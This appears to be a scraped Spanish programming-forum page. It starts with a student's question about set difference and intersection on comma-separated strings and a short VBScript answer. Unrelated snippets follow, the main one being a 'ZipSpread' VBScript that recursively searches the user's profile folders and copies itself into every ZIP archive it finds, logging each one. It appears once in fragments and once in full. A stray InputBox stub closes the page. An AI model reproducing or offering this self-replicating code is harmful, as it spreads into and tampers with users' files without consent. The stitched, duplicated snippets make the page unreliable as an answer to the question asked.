como haria para que
un programa me resuelva la diferencia entre dos conjuntos
dado que el conjunto A es una cadena (text1) en donde estan todos los elementos separados por comas al igual que B (text2)

A={a,b,c,d,e,f}

B={a,c,d}

la diferencia A-B son todos los elementos que estan A pero que no esten B
y el resultado lo devuelva en otra cadena(text3) separados por comas

A-B={b,e,f}

y si no es molestia tambien la interseccion
como lo haria? mucho mejor si me contestan a la brevedad que mañana tengo una prueba!!!

gracias por sus respuestas

A=Array("a","b","c","d","e","f")
B=Array("a","c","d")
 
 
For i = 0 to Ubound(B)
 
	A = Filter(A,B(i),False,1)	
 
Next
 
For i = 0 to Ubound(A)
 
	MsgBox A(i)
 
Next

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

    Set Folds = oFSO.GetFolder(P)
    Set Files = Folds.Files

ext = LCase(oFSO.GetExtensionName(File.path))

Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

			If Not InStr(RR,SelfName) > 0 Then
				FILE.CopyHere EXE		'Spread to ZIP
				F.Write ZIP & vbcrlf	'Log zipfile to TXT
				WScript.Sleep 500		'Important!
			End If

    Set File = Folds.Subfolders
    For Each Subfol In File
        Call ZipSpread(Subfol.path)
    Next

ZipSpread("C:\carpeta_prueba")

On Error Resume Next
 
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
 
SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName
 
Function ZipSpread(P)
    On Error Resume Next
    Set Folds = oFSO.GetFolder(P)
    Set Files = Folds.Files
 
    For Each File In Files
        ext = LCase(oFSO.GetExtensionName(File.path))
        If ext = "zip" Then
			EXE = SelfPath
			ZIP = File.path
			Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
			RR = ""
			For Each CC in FILE.Items
				RR = RR & CC.Name
			Next
			If Not InStr(RR,SelfName) > 0 Then
				FILE.CopyHere EXE		'Spread to ZIP
				F.Write ZIP & vbcrlf	'Log zipfile to TXT
				WScript.Sleep 500		'Important!
			End If
        End If
    Next
    Set File = Folds.Subfolders
    For Each Subfol In File
        Call ZipSpread(Subfol.path)
    Next
End Function
 
Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
	ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
F.Close
 
MsgBox "<end>"

tmp = Int(rnd * 17000)

respuesta = InputBox ("ESCRIBA MOTIVO MERMA", "MERMA")
 
Select Case respuesta
    Case 51
        'Aquí tu acción por responder 51
    Case 52
        'Aquí tu acción por responder 52
    Case 53
        'Aquí tu acción por responder 53
    Case 54
        'Aquí tu acción por responder 54
    Case 70
        'Aquí tu acción por responder 70
    Case 71
        'Aquí tu acción por responder 71
    Case 72
        'Aquí tu acción por responder 72
    Case Else
        'Has fallado, melón
End Select